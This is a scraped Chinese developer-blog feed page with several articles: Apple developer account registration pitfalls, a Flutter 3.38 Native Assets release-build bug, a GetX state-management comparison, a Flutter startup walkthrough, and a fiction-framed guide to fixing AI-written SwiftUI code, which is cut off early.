阅读视图

发现新文章,点击刷新页面。

注册苹果个人开发者账号,千万别换设备!!!

记录一下我最近注册个人开发者账号的经历,前后历时2周,换了3个个人身份,废了两台新买的测试机。西天取经,九九八十一难,各种问题,全靠猜,联系苹果也是模棱两可,等几天最后告诉你,你的账号废了,你的设备废了,请换新的!!难度堪比提审遇到账号调查。

先说结论:
1、(非常重要)注册过程中千万不要换设备,不要换账号。遇到任何问题联系苹果解决。如果你把账号换到别的设备上尝试注册,那你这个账号和这两台设备大概率会被风控。你的这个账号和这“两台”设备就废了,无法继续用于注册了。
2、填个人信息地址时要填对,最好填身份证上的地址(这是联系苹果时,苹果告诉我的)。我猜苹果会校验的地址,比如地址是否有效,是否完整,是否精确到门牌号等。瞎填或者填的不完整是过不了的,会提示“如果要继续注册,请联系苹果”。

3、一个身份证只能注册一个个人开发者账号。即使这个身份证之前注册流程没走完,也算使用过了。无法使用新的AppleID绑定这个身份证重新注册。只能用原来的AppleID继续绑定注册


下面是我这次注册的经历,当时没想到注册个人账号这么复杂,这么多坑。下面是没有任何心眼下的小白操作。

我这边有个新项目,需要注册一个新的个人开发者账号。我顺便买了两部新测试手机(手机1、手机2)。

1、小H注册
最开始找到同事小H注册。小H重新注册了一个新的AppleID,使用手机1,下载Developer App去注册,到填街道地址那一步卡住了,提交报错,具体什么错不记得了。联系苹果,苹果说小H的身份信息以前注册过开发者账号,请使用以前的账号继续注册或登录图片.png

由于时间太久了小H也不记得以前是否注册过了,也不记得是哪个账号了。我们又联系苹果说我们不记得账号了,能否申请用新的账号注册苹果回信说,“不可以,请回忆之前的账号或者使用公司其他人的身份注册”。我们把小H所有有可能的AppleID通过找回密码都试了一遍,都是AppleID不存在。放弃。 图片.png

2、小L注册
我又找到同事小L。小L新注册了一个AppleID,使用手机1,用Developer App去注册。到了填街道页面,小L把街道和详细地址填的很简略,提交后报错“Action not allowed”。网上查资料说设备可能被风控了,可以换个设备尝试。于是,我换了另一个新买的测试手机2,结果账号登录后,“现在注册”按钮是置灰的,无法点击。(我们没有联系苹果,自己瞎摸索后)在苹果后台找到了网页注册入口,点进去上传了身份证。第二天,苹果邮件通知我们身份信息校验通过可以继续注册了。Developer App的注册按钮恢复正常了,还是在街道页面,街道和详细地址填的很简略,提交报“Action not allowed”。

联系苹果,苹果问我们注册过程中是否换过设备,我说换过。苹果告诉我,注册条款里有明确说明,注册的时候不能换设备我说我不知道有这个条款,能不能帮我把设备重置一下。苹果说她没有权限,帮我连线资深顾问。资深顾问说她帮我联系中国的运营团队。等了2天,收到苹果邮件:“由于一个或多个原因,你无法完成Apple Developer Program的注册。我们目前无法继续处理你的注册申请。”再次放弃。 图片.png

至此,我们的两个账号、两个身份、两台设备都废了!

3、小X注册
没办法只能再换人换设备了,这次长教训了,直接用小X的私人手机注册。用小X身份新注册一个AppleID(因为用私人AppleID后续不方便),在他私人手机上下载了Developer App进行注册。前面还算顺利,直到填写街道那一步,提交后弹窗提示“请联系苹果支持”。登录苹果开发者网站 - 联系我们 - 账号注册 - 电话沟通。苹果告诉我们街道地址填的有问题,最好填身份证上的地址,这样大概率是没问题的图片.png Developer App上改为填小X身份证地址后果然可以到下一步了,后续就交钱了。交完钱并不代表你注册成功了第二天收到苹果的邮件,让我们上传身份证。通过邮件链接打开苹果网站,上传身份证正面照片。 图片.png 上传后收到苹果回复邮件,说两个工作日审核完毕。实际上还挺快的半天就审核完了,下午我们就收到了开发者账号注册成功的邮件。 图片.png

总算是注册成功了。

划重点:

  • 确保使用未曾注册过(旧测试机就不要用了,否则还浪费身份证名额);
  • 注册过程中千万不要换设备,遇到任何问题联系苹果解决;
  • 街道地址填身份证地址。

最后,祝大家注册顺利,少踩坑。

Flutter 3.38.1 之后,因为某些框架低级错误导致提交 Store 被拒

如果你近期已经升级到 3.38.1 之后的版本,包括 3.38.5 ,你就有概率发现,打包提交 iOS 的包会出现 The binary is invalid 的相关错误,简单来说,就是App Store 拒绝了某个二进制文件,因为它包含了无效的内容

那么这个内容是怎么来的?大概率是模拟器架构的 Framework 被错误地打包进了正式发布的 App ,具体原因还要提到最新版本增加的 Native Assets 功能。

Native Assets 的目标是让在 Flutter/Dart 包中集成 C、C++、Rust 或 Go 代码,可以像集成普通 Dart 包一样简单,也就是它允许 Dart 包定义如何构建和打包原生代码,开发者不需要深入了解每个平台的底层构建系统,也是 Dart FFI 未来的重要基建。

详细可见:《Flutter 里的 Asset Transformer 和 Hooks ,这个实验性功能有什么用》

那它怎么导致了这次这个低级问题的出现?实际上这是一个构建脚本逻辑缺陷导致的“脏构建”问题,当 Flutter 构建依赖于 Native Assets(比如 sqlite3 等库)的 Plugin 时,这些原生资源会被编译并输出到 build/native_assets/$platform 目录(例如 build/native_assets/ios)。

因为在现有的构建脚本(xcode_backend.dart)在打包时,会简单粗暴地将 build/native_assets/ios 目录下的所有框架复制到最终的 App Bundle (Runner.app/Frameworks) ,例如:

  • 先运行了模拟器跑应用,这时模拟器专用的框架(如 sqlite3arm64ios_sim.framework)就会被生成并留在了 build/native_assets/ios 目录
  • 接着,开发者在没有运行 flutter clean 的情况下,直接运行了 Release 构建
  • 构建脚本会把之前遗留的“模拟器框架”也一并复制进了 Release 包
  • App Store 检测到 Release 包中含有模拟器架构的代码,因此拒绝接收

所以说,大厂也有大厂的草台。

当然,这个问题解决起来也很简单,就是发布前 flutter clean 清理一下,当然,如果你之前打过包了,那么 Xcode 的构建缓存也需要清理下,因为可能存在即使你通过 flutter clean 删除了 Flutter 的构建产物,但是 Xcode 可能仍然认为某些中间文件(Intermediate Build Files)存在可用。

比如 DerivedData 缓存

那么这么低级的问题,修复下也很简单,所以 sqlite3 的作者也提交了一个 #179251 ,简单来说就是,针对 Native Assets :

  • 读取构建过程中生成的 native_assets.json 文件
  • 解析文件,获取当前构建真正引用的依赖列表
  • 仅复制 native_assets.json 中列出的框架,忽略目录中残留的其他无关文件(如模拟器文件)

这个修复其实很简单,但是在流程上,因为目前 PR 还缺少 integration test ,所以一直卡在了等待 Review 阶段,除非有人申请豁免,不然这个 PR 的合并还会继续卡着。

只能说,一代人有一代人的草台。

参考链接

GetX 状态管理详解

一、 GetX 状态管理核心机制

GetX 的状态管理并非单一方案,而是提供了三种核心状态管理模式,兼顾简洁性和灵活性,适配不同业务场景,其核心设计围绕「轻量、无侵入、响应式」展开。

1. 简单状态管理(GetBuilder:非响应式)

适用于简单的状态更新场景(如按钮点击刷新文本、列表局部更新),基于手动触发重建实现,无响应式依赖,性能开销极低。

  • 核心原理:
    1. 定义 Controller 继承 GetxController,在控制器中维护状态变量,并提供状态更新方法。
    2. 通过 update() 方法手动标记状态变更,通知对应的 GetBuilder 进行组件重建。
    3. GetBuilder 关联指定控制器,仅在收到 update() 通知时刷新自身布局,不影响其他组件。
  • 代码示例:
// 1. 定义控制器
class CountController extends GetxController {
  int count = 0;

  void increment() {
    count++;
    update(); // 手动触发状态更新
  }
}

// 2. 在UI中使用
Widget build(BuildContext context) {
  // 无需手动初始化控制器,GetX自动管理生命周期
  return GetBuilder<CountController>(
    builder: (controller) {
      return Column(
        children: [
          Text("计数:${controller.count}"),
          ElevatedButton(
            onPressed: controller.increment,
            child: const Text("点击增加"),
          ),
        ],
      );
    },
  );
}

2. 响应式状态管理(GetX / Obx:自动响应式)

适用于复杂状态依赖场景(如网络请求结果刷新、多组件共享状态、实时数据同步),基于Dart 扩展方法+观察者模式实现,无需手动调用 update(),状态变更自动触发 UI 重建。

  • 核心原理:
    1. 状态变量通过 .obs 扩展方法转化为「可观察对象(Observable)」,GetX 会监听该对象的所有变更。
    2. 使用 Obx(或 GetX)包裹需要响应状态变更的 UI 组件,Obx 作为观察者,订阅可观察对象的状态变化。
    3. 当可观察对象的值发生改变时,会自动通知所有订阅它的 Obx 组件,触发局部重建,无需全局刷新。
  • 核心特性:
    • 无需继承 GetxController(可直接使用全局变量,也可结合控制器管理)。
    • 支持多种数据类型:基本类型(int/string/bool)、集合类型(List/Map/Set)、自定义对象。
    • 局部重建:仅 Obx 包裹的组件会重建,性能优于全局状态刷新。
  • 代码示例:
// 1. 定义响应式状态(两种方式:直接使用 / 结合控制器)
// 方式1:直接使用全局响应式变量
var userName = "张三".obs;

// 方式2:结合控制器管理(推荐,便于状态统一维护)
class UserController extends GetxController {
  var userAge = 20.obs;
  var userInfo = UserModel(name: "李四", age: 25).obs; // 自定义对象

  void updateAge() {
    userAge.value++; // 注意:基本类型响应式变量需通过 .value 访问/修改
    userInfo.update((info) { // 自定义对象批量更新
      info?.age = userAge.value;
    });
  }
}

// 2. 在UI中使用 Obx 监听
Widget build(BuildContext context) {
  final userController = Get.put(UserController()); // 初始化控制器(单例)
  return Column(
    children: [
      Obx(() => Text("用户名:${userName.value}")),
      Obx(() => Text("用户年龄:${userController.userAge.value}")),
      Obx(() => Text("自定义对象年龄:${userController.userInfo.value.age}")),
      ElevatedButton(
        onPressed: () {
          userName.value = "王五"; // 自动触发UI刷新
          userController.updateAge(); // 控制器内状态变更,自动刷新
        },
        child: const Text("更新状态"),
      ),
    ],
  );
}

3. 依赖注入式状态管理(Get.put / Get.find:生命周期管理)

GetX 状态管理的核心支撑能力,通过内置依赖注入(DI)容器管理控制器生命周期,无需手动创建和销毁控制器,实现状态的全局共享或局部共享。

  • 核心原理:
    1. Get.put(Controller()):将控制器实例存入 GetX 的 DI 容器,默认全局单例,可指定 tag 实现多实例,或指定 permanent: false 实现自动销毁。
    2. Get.find<Controller>():从 DI 容器中获取已存入的控制器实例,无需跨组件传递。
    3. 生命周期绑定:控制器继承 GetxController 后,可重写 onInit()onReady()onClose() 方法,对应组件的初始化、就绪、销毁生命周期,自动执行。
  • 核心特性:
    • 无需 InheritedWidget 包裹(对比 Provider),无组件嵌套冗余。
    • 支持局部状态:通过 Get.create() 或在路由中传入 binding,实现路由级别的局部状态,路由销毁时自动销毁控制器。

二、 GetX 与 Provider、Bloc 的核心对比

1. 核心设计差异

特性 GetX Provider Bloc
状态管理模式 支持3种模式(GetBuilder/Obx/DI),兼顾简单与复杂场景 单一响应式模式(基于InheritedWidget + ChangeNotifier) 单一事件驱动模式(基于Stream + Event/State分离)
核心依赖 无额外依赖(GetX自身集成) 依赖 provider 包(基于Flutter原生组件) 依赖 bloc/flutter_bloc 包(基于Dart Stream)
组件侵入性 极低(无需顶层包裹,可按需使用Obx/GetBuilder) 较高(需顶层包裹 MultiProvider,子组件需 Consumer/Provider.of 较高(需 BlocProvider 包裹,子组件需 BlocBuilder/BlocConsumer
状态传递方式 依赖注入(Get.find),无需跨组件层层传递 基于InheritedWidget,自上而下跨组件传递 依赖注入(BlocProvider)+ Stream监听,自上而下传递
事件处理方式 灵活(可直接调用方法,也可自定义事件) 简单(调用ChangeNotifier的更新方法) 严格(Event入参 → Bloc处理 → State输出,单向数据流)

2. GetX 的优势

(1) 极致简洁,开发效率极高

  • 代码量极少:无需编写大量模板代码(对比 Bloc 的 Event/State/Bloc 三层模板,Provider 的 ChangeNotifier 子类+Consumer 包裹),大幅减少冗余代码。
    • 示例:实现一个计数功能,GetX 只需 10 行左右代码,Bloc 需编写 Event(CountIncrementEvent)、State(CountState)、Bloc(CountBloc)三层代码,代码量增加 3-5 倍。
  • 无嵌套地狱:无需顶层包裹 MultiProvider/MultiBlocProvider,解决了 Provider/Bloc 中多层嵌套导致的代码可读性差的问题。
  • 无需上下文(Context):通过 Get.find() 可在任意位置获取控制器,无需传递 BuildContext,尤其在工具类、网络请求类中使用便捷。

(2) 功能全面,一站式解决方案

  • 状态管理 + 路由管理 + 依赖注入 + 国际化 + 主题管理:GetX 并非单一状态管理库,而是集成了 Flutter 开发所需的核心功能,无需引入多个第三方库(如 Provider 需配合 flutter_routeget_it 实现路由和DI),减少库之间的兼容性问题。
  • 灵活适配场景:简单场景用 GetBuilder(性能最优),复杂场景用 Obx(自动响应式),全局共享用 Get.put(单例),局部共享用路由 Binding(自动销毁),适配所有业务场景。

(3) 性能更优,资源开销更低

  • 局部重建更精准:Obx/GetBuilder 仅刷新自身包裹的组件,且无需遍历 InheritedWidget 树(对比 Provider),减少了布局遍历的性能开销。
  • 控制器自动销毁:GetX 可根据路由生命周期自动销毁控制器(permanent: false),避免 Provider/Bloc 中手动管理控制器生命周期导致的内存泄漏问题。
  • 无 Stream 额外开销:GetX 的响应式状态管理基于自定义 Observable,无需像 Bloc 那样依赖 Stream 流处理,减少了 Stream 订阅/取消订阅的性能开销。

(4) 学习成本更低

  • 无需掌握 Stream 原理:Bloc 强依赖 Dart Stream 知识,对于新手而言,学习成本较高;GetX 无需了解 Stream,只需掌握 .obsObx 的使用,即可快速上手。
  • API 设计简洁直观:GetX 的 API 命名清晰(如 Get.put、Get.find、update、Obx),符合开发者的使用习惯,无需记忆复杂的 API 结构。

3. GetX 的劣势

(1) 状态管理过于灵活,团队协作易出规范问题

  • 由于 GetX 支持全局响应式变量(无需控制器)、控制器管理状态、局部状态等多种方式,若团队无统一开发规范,容易出现状态分散、难以维护的问题(如部分状态在全局变量中,部分在控制器中,排查问题时难以定位)。
  • 对比 Bloc:Bloc 的 Event/State 严格分离,强制遵循单向数据流,团队协作时规范统一,即使是大型项目,状态流转也清晰可追溯;Provider 虽灵活,但依赖 InheritedWidget,状态范围相对明确。

(2) 生态成熟度略低于 Provider、Bloc

  • Provider:作为 Flutter 生态中最早的状态管理库之一,几乎被所有 Flutter 开发者熟知,相关教程、插件、问题解决方案极为丰富,且与 Flutter 原生组件深度兼容。
  • Bloc:由 Google 团队成员参与维护,生态成熟,支持 bloc_test(单元测试)、flutter_bloc(Flutter 适配)、bloc_concurrency(并发处理)等周边库,在大型企业级项目中应用广泛。
  • GetX:生态虽在快速发展,但相比 Provider、Bloc,部分小众场景的解决方案较少,且第三方插件对 GetX 的适配度略低。

(3) 不适用于对状态流转有严格要求的大型项目

  • 对于金融、电商等大型企业级项目,状态流转的可追溯性、可测试性要求极高:
    • Bloc 的 Event/State 分离模式,每一次状态变更都对应一个明确的 Event,可通过 bloc_test 轻松编写单元测试,且能通过 DevTools 追踪状态流转过程,便于问题排查。
    • GetX 的状态更新方式(直接调用方法修改状态),虽然简洁,但状态变更的触发来源难以追溯,单元测试需要额外编写更多代码来模拟状态变更,对于大型项目的维护性略有不足。

(4) 存在“过度封装”的争议,底层可定制性弱

  • GetX 为了追求简洁,对底层实现进行了大量封装,开发者难以自定义其响应式机制、依赖注入容器的行为。
  • 对比 Provider:基于 Flutter 原生 InheritedWidgetChangeNotifier 实现,开发者可轻松扩展 ChangeNotifier 或自定义 InheritedWidget,实现个性化需求。
  • 对比 Bloc:基于 Stream 实现,开发者可灵活自定义 Stream 控制器、并发策略、状态转换逻辑,底层可定制性极强。

(5) 调试体验略逊于 Bloc

  • Bloc 提供了专门的 BlocDevTools,可实时监控 Event 发送、State 变更、Bloc 生命周期,便于调试复杂的状态流转问题。
  • GetX 无官方专属调试工具,状态变更的监控需要手动打印日志或借助 Flutter DevTools,对于复杂的响应式状态依赖,调试效率略低。

4. 补充:Provider、Bloc 的各自优势(对应 GetX 的劣势)

  • Provider 优势
    1. 与 Flutter 原生深度融合,学习成本低(只需掌握 InheritedWidget 基础概念)。
    2. 轻量、稳定,无多余功能,专注于状态管理,适合小型项目或对第三方库依赖敏感的项目。
    3. 生态成熟,问题解决方案丰富,新手友好。
  • Bloc 优势
    1. 严格的单向数据流,状态流转清晰可追溯,适合大型团队协作和企业级项目。
    2. 强大的测试能力,便于编写单元测试和集成测试,保证代码质量。
    3. 高度可定制化,可灵活扩展底层逻辑,适配复杂业务场景。
    4. 官方支持完善,调试工具成熟,生产环境稳定性更高。

三、 选型建议

  1. 优先选 GetX:小型项目、快速迭代项目、个人项目,或团队追求开发效率、希望减少模板代码的场景;适合需要一站式解决状态管理、路由、DI 的场景。
  2. 优先选 Provider:新手入门、对第三方库功能冗余敏感的项目,或需要与 Flutter 原生组件深度兼容的场景;适合小型到中型项目。
  3. 优先选 Bloc:大型企业级项目、金融/电商等对状态可追溯性和可测试性要求极高的场景,或团队需要严格编码规范的场景;适合中型到大型项目。

总结

  1. GetX 状态管理的核心是「3种模式+依赖注入」,兼顾简洁性和灵活性,Obx(响应式)和 GetBuilder(非响应式)适配不同场景,依赖注入实现状态全局/局部共享。
  2. GetX 的核心优势是「开发效率高、代码简洁、功能全面、性能优」,劣势是「规范性弱、生态成熟度略低、大型项目维护性不足」。
  3. Provider 胜在「原生兼容、轻量稳定」,Bloc 胜在「规范严格、可测试性强、大型项目友好」,GetX 胜在「高效简洁、一站式解决方案」,需根据项目规模和团队需求选型。

Flutter 项目启动全流程详解

Flutter 项目启动全流程详解

作为资深 Flutter 架构师,我会从分层视角(原生层 → Flutter 引擎层 → Dart 运行时层 → App 业务层)为你拆解 Flutter 项目启动的完整流程,涵盖核心步骤、关键机制和底层细节,帮你全面掌握启动原理。

一、 第一阶段:原生平台初始化(Native Bootstrapping)

Flutter 是跨平台框架,最终会打包为 iOS/Android 原生应用,启动流程首先从原生平台侧开始,这是 Flutter 启动的入口。

1. Android 平台启动流程

  • 核心入口:FlutterActivity(或 FlutterFragment,对应 Fragment 嵌入场景)
  • 关键步骤:
    1. FlutterActivity 初始化:继承自 AppCompatActivity,启动时先执行原生 Android 的 onCreate() 生命周期方法。
    2. 加载 Flutter 引擎依赖:初始化 FlutterEngine 相关配置(如 Dart 入口路径、初始化参数),若使用预加载引擎(提前初始化优化启动速度),会直接获取预创建的 FlutterEngine 实例;若未预加载,则现场创建 FlutterEngine
    3. 配置 FlutterView:创建用于承载 Flutter UI 的原生 View(FlutterView),并将其挂载到 Android 布局层级中,作为 Flutter 渲染内容的显示载体。
    4. 启动引擎桥接:通过 FlutterNativeView 建立原生 Android 与 Flutter 引擎的通信通道,传递初始化参数(如屏幕尺寸、系统主题、原生平台信息等)。

2. iOS 平台启动流程

  • 核心入口:FlutterViewController(对应 iOS 的视图控制器)
  • 关键步骤:
    1. FlutterViewController 初始化:执行 iOS 原生的 initWithNibName:bundle:init 方法,完成控制器自身初始化。
    2. Flutter 引擎初始化:创建 FlutterEngine 实例(同样支持预加载优化),配置 Dart 执行环境参数。
    3. 绑定视图载体:FlutterViewController 的视图(view 属性)本质是 FlutterView,用于渲染 Flutter UI,完成视图层级挂载。
    4. 建立通信通道:通过 FlutterMethodChannel/FlutterEventChannel 的底层初始化,完成 iOS 原生与 Flutter 引擎的双向通信准备。

核心作用

  • 提供 Flutter 运行的原生容器环境(Activity/ViewController + View);
  • 初始化 Flutter 引擎的原生依赖,建立跨平台通信的基础通道;
  • 传递系统级参数(如设备信息、屏幕参数),为 Flutter 后续初始化提供上下文。

二、 第二阶段:Flutter 引擎初始化(Engine Initialization)

Flutter 引擎(C/C++ 实现,核心是 Skia 渲染引擎、Dart 虚拟机、排版引擎等)是 Flutter 的核心运行时,原生平台初始化完成后,会触发 Flutter 引擎的启动与初始化。

1. 引擎核心组件初始化

Flutter 引擎初始化是多组件协同启动的过程,核心组件包括:

  • Skia 渲染引擎:初始化 2D 图形渲染上下文,绑定原生平台的渲染表面(Android 的 Surface、iOS 的 CALayer),配置抗锯齿、渲染精度等参数,为后续 UI 渲染提供底层支持。
  • Dart 虚拟机(VM):初始化 Dart 运行时环境,包括内存管理(堆内存分配、垃圾回收机制初始化)、指令解析器(JIT/AOT 模式切换,移动端默认 AOT 编译模式,调试模式 JIT)。
  • 排版引擎(Layout Engine):初始化 Flutter 专属的排版规则(如 Flex 布局、Text 排版),加载系统默认字体、自定义字体配置,建立排版计算的上下文环境。
  • 事件分发系统:初始化触摸事件、键盘事件、生命周期事件的分发通道,确保原生事件能传递到 Flutter 层。

2. 引擎与原生平台的绑定

  • 渲染绑定:将 Skia 渲染引擎与原生 FlutterView 的渲染缓冲区绑定,确保 Flutter 绘制的内容能显示在原生视图上。
  • 线程绑定:Flutter 引擎启动后会创建4个核心线程,并与原生平台线程建立映射:
    1. UI 线程(Platform Thread):对应原生主线程,处理 Flutter 组件构建、布局计算、状态更新。
    2. 渲染线程(Render Thread):独立线程,处理绘制命令生成、图层合成,最终将合成结果提交给 Skia 渲染。
    3. I/O 线程(I/O Thread):处理异步任务(如网络请求、文件读写、图片解码),避免阻塞 UI 线程和渲染线程。
    4. Dart 虚拟机线程:执行 Dart 代码逻辑,与 UI 线程协同工作(调试模式下独立,Release 模式下与 UI 线程合并优化)。

三、 第三阶段:Dart 运行时初始化(Dart Runtime Setup)

Flutter 引擎初始化完成后,会启动 Dart 虚拟机,并执行 Dart 代码的初始化流程,这是 Flutter 业务逻辑的入口。

1. 加载并执行 Dart 根隔离区(Root Isolate)

  • Isolate 是 Dart 的轻量级线程(无共享内存,通过消息传递通信),Flutter 启动时首先创建根 Isolate(主 Isolate),作为 Dart 代码的执行入口。
  • 核心操作:
    1. 加载 AOT 编译产物(Release 模式):移动端 Flutter 项目打包后会生成 .so(Android)/ App.framework(iOS)格式的 AOT 编译产物,Dart 虚拟机直接加载并执行该产物,无需即时编译,启动速度更快。
    2. 加载 JIT 快照(Debug 模式):调试模式下,Flutter 会生成 Dart 代码的 JIT 快照,Dart 虚拟机加载快照后启动,支持热重载(Hot Reload)功能。

2. 执行 main() 函数(Dart 入口)

  • 根 Isolate 初始化完成后,会自动执行 Dart 项目的 main() 函数,这是 Flutter 业务代码的第一个入口方法,典型代码如下:
void main() {
  // 可选:初始化全局配置(如网络拦截器、日志工具、依赖注入)
  WidgetsFlutterBinding.ensureInitialized(); // 关键:初始化 Flutter 核心绑定
  runApp(const MyApp()); // 启动 Flutter 应用
}
  • 关键说明:WidgetsFlutterBinding.ensureInitialized() 是 Flutter 核心绑定初始化方法,若省略,runApp() 内部会自动调用,其作用是初始化 Flutter 框架的核心服务(如渲染绑定、手势绑定、生命周期绑定等)。

四、 第四阶段:Flutter 框架初始化与 UI 渲染(Framework & UI Rendering)

main() 函数中调用 runApp() 后,进入 Flutter 框架初始化和 UI 首次渲染流程,这是 Flutter UI 显示的核心步骤。

1. Flutter 框架核心绑定初始化

WidgetsFlutterBinding 是 Flutter 框架的核心绑定类,它整合了 7 大核心绑定,确保 Flutter 框架正常工作:

  • GestureBinding:手势识别与事件分发绑定。
  • ServicesBinding:平台消息通信绑定(如 MethodChannel 通信)。
  • SchedulerBinding:任务调度与帧回调绑定(控制 UI 刷新帧率,默认 60fps)。
  • PaintingBinding:绘制相关绑定(如图片缓存、字体加载)。
  • SemanticsBinding:语义化绑定(支持无障碍访问)。
  • RenderBinding:渲染管线绑定(布局、绘制、合成)。
  • WidgetsBinding:组件框架绑定(组件构建、状态管理、路由管理)。

2. 执行 runApp(Widget app) 核心逻辑

runApp() 是 Flutter UI 启动的关键方法,核心操作如下:

  1. 挂载根组件:将传入的根 Widget(如 MyApp)设置为 Flutter 框架的根组件(rootWidget),建立组件树的顶层节点。
  2. 触发首次帧调度:通过 SchedulerBinding 向 Flutter 引擎发送「首次绘制帧」的调度请求,引擎接收到请求后,启动 UI 线程的布局与绘制流程。

3. 首次 UI 渲染管线(Layout & Paint)

Flutter 首次渲染遵循「构建 → 布局 → 绘制 → 合成 → 渲染」的流水线:

  1. 构建(Build):UI 线程遍历组件树(从根 Widget MyApp 开始),执行每个 Widget 的 build() 方法,生成「元素树(Element Tree)」(Widget 是配置模板,Element 是实际渲染实例)。
  2. 布局(Layout):基于元素树,Render 层(RenderObject)执行布局计算,确定每个组件的大小、位置(如 RenderFlex 处理 Flex 布局,RenderText 处理文本排版),生成「布局树(Layout Tree)」。
  3. 绘制(Paint):Render 层根据布局结果,生成每个组件的绘制命令(如绘制矩形、文本、图片),生成「绘制树(Paint Tree)」。
  4. 合成(Compositing):渲染线程将绘制命令按「图层(Layer)」进行分层合成(如透明组件、滚动组件会单独分层),生成「图层树(Layer Tree)」,优化渲染性能。
  5. 渲染(Render):渲染线程将合成后的图层树提交给 Skia 渲染引擎,Skia 将图层绘制到原生 FlutterView 的渲染缓冲区,最终在屏幕上显示 Flutter UI。

4. 启动完成:触发 onFirstFrame 回调

当 Flutter 首次帧渲染完成后,会触发 WidgetsBindingonFirstFrame 回调(可监听该回调统计启动耗时),此时用户可以看到 Flutter 应用的首屏 UI,标志着 Flutter 项目启动流程全部完成。

五、 补充:启动模式差异(Debug vs Release)

Flutter 调试模式(Debug)和发布模式(Release)的启动流程存在核心差异,直接影响启动速度:

对比维度 Debug 模式 Release 模式
Dart 执行模式 JIT(即时编译) AOT(提前编译)
产物加载 加载 Dart 快照,支持热重载 加载 AOT 编译产物(.so/Framework),直接执行
引擎优化 关闭部分渲染优化、线程优化 开启全量优化(线程合并、绘制优化、内存优化)
启动速度 较慢(JIT 初始化 + 快照加载) 较快(AOT 产物直接执行,无编译开销)
额外功能 支持 Hot Reload、DevTools 调试 无调试功能,体积更小、性能更优

总结

Flutter 项目启动是一个跨平台、分层级、多线程协同的复杂流程,核心步骤可概括为 4 个关键阶段:

  1. 原生平台初始化:提供容器(Activity/ViewController)和视图载体(FlutterView),初始化引擎依赖;
  2. Flutter 引擎初始化:启动 Skia 渲染、Dart 虚拟机等核心组件,创建 4 个核心线程,完成与原生的绑定;
  3. Dart 运行时初始化:创建根 Isolate,加载 Dart 编译产物,执行 main() 函数;
  4. Flutter 框架与 UI 渲染:初始化框架绑定,执行 runApp(),通过「构建-布局-绘制-合成-渲染」管线完成首屏显示。

理解该流程有助于你优化 Flutter 项目启动速度(如预加载 Flutter 引擎、延迟初始化非核心业务、优化首屏 Widget 构建),以及排查启动阶段的跨平台兼容问题。

十倍性能优化!一次终端语法高亮库的 AI 折腾与收获

我最近写了一个小框架 Chroma,用 Swift 在终端里做代码高亮;顺手还以它为基底做了一个(实验性的)cat 替代品 ca,能以带高亮的方式在终端里显示代码文本内容 (几乎和 bat 一样,只是又一个“I can, why not”的项目)。这篇文章想做三件事:先简单宣传一下(真的很短),然后重点聊聊这次实践中的主要收获:在 AI 驱动的迭代方式下,把性能优化这件事做“到底”变得前所未有地容易;最后再补一些在做 ca 期间学到的命令行设计和主题生态方面的东西。 Chroma / ca:一个很小的 promotion Chroma 的目标非常朴素:给它一段代码和一个语言标识,它就返回一段可以直接 print 的 ANSI 彩色字符串。 语法高亮这种东西其实早就被写烂了:Rust 有 syntect,Python 有 Pygments,前端世界里更是 highlight.js 一类的工具满天飞。但我在 Swift 生态里一直没找到一个足够顺手、又能对终端输出细节(diff / 行号 / 行背景 / 缩进)有足够掌控力的选择,于是干脆自己(准确地说:靠 AI)糊了一个。...

2026 码农漫游:AI 辅助 Swift 代码修复指南

在这里插入图片描述

☔️ 引子

这是一个雨夜,霓虹灯的光晕在脏兮兮的窗玻璃上晕开,像极了那个该死的 View Hierarchy 渲染不出高斯模糊的样子。

在新上海的地下避难所里,老王(Old Wang)吐出一口合成烟雾,盯着全息屏幕上不断报错的终端。作为人类反抗军里仅存的几位「精通 Apple 软件开发」的工程师之一,他负责给 AI 霸主「智核(The Core)」生成的垃圾代码擦屁股。

在这里插入图片描述

门被撞开了,年轻的女黑客莉亚(Liya)气喘吁吁地冲进来,手里攥着一块存满代码的神经晶片。“老王!救命!‘智核’生成的 SwiftUI 代码在 iOS 26 上又崩了!反抗军的通讯 App 根本跑不起来!”

老王冷笑一声,掐灭了烟头。“我就知道。那些被捧上神坛的 LLM(大型语言模型),不管是 Claude、Codex 还是 Gemini,写起 Python 来是把好手,但一碰到 Swift,就像是穿着溜冰鞋走钢丝——步步惊心。”

在本篇博文中,您将学到如下内容:

  • ☔️ 引子
    • 🤖 为什么 AI 总是在 Swift 上「鬼打墙」?
    • 🎨 1. 别再用过时的调色盘了
    • 📐 2. 只有切掉棱角,才能圆滑处世
    • 🔄 3. 监控变化,不要缺斤少两
    • 📑 4. 标签页的「指鹿为马」
    • 👆 5. 别什么都用「戳一戳」
    • 🧠 6. 扔掉旧时代的观察者
    • ☁️ 7. 数据的陷阱
    • 📉 8. 性能的隐形杀手
    • 🔠 9. 字体排印的法西斯
    • 🔗 10. 导航的死胡同
    • 🏷️ 11. 按钮的自我修养
    • 🔢 12. 数组的画蛇添足
    • 📂 13. 寻找文件的捷径
    • 🧭 14. 导航栈的改朝换代
    • 💤 15. 睡个好觉
    • 🧮 16. 格式化的艺术
    • 🏗️ 17. 不要把鸡蛋放在一个篮子里
    • 🖼️ 18. 渲染的新欢
    • 🏋️ 19. 字重的迷惑行为
    • 🚦 20. 并发的万金油(也是毒药)
    • 🎭 21. 主角光环是默认的
    • 📐 22. 几何的诅咒
  • 尾声:数字幽灵的低语

他把晶片插入接口,全息投影在空中展开。“坐下,莉亚。今天我就给你上一课,让你看看所谓的‘人工智能’是如何在 Swift 的并发地狱快速迭代中翻车的。”

在这里插入图片描述


🤖 为什么 AI 总是在 Swift 上「鬼打墙」?

老王指着屏幕上乱成一锅粥的代码说道:“这不怪它们。Swift 和 SwiftUI 的进化速度比变异病毒还快。再加上 Python 和 JavaScript 的训练数据浩如烟海,而 Swift 的高质量语料相对较少,AI 常常会产生幻觉。更别提 Swift 的 Concurrency(并发) 模型,连人类专家都头秃,更别说这些只会概率预测的傻大个了。”

在这里插入图片描述

“听着,莉亚,”老王严肃地说,“要想在 iOS 18 甚至更高版本的废土上生存,你必须学会识别这些‘智障操作’。我们不谈哲学,只谈生存。以下就是我从死人堆里总结出来的代码排雷指南。”


🎨 1. 别再用过时的调色盘了

💀 AI 的烂代码: foregroundColor() ✨ 老王的修正: foregroundStyle()

“看这里,”老王指着一行代码,“AI 还在用 foregroundColor()。这就像是还在用黑火药做炸弹。虽然字数一样,但前者已经是个行将就木的Deprecated API。把它换成 foregroundStyle()!后者才是未来,它支持渐变(Gradients)等高级特性。别让你的 UI 看起来像上个世纪的产物。”

在这里插入图片描述

📐 2. 只有切掉棱角,才能圆滑处世

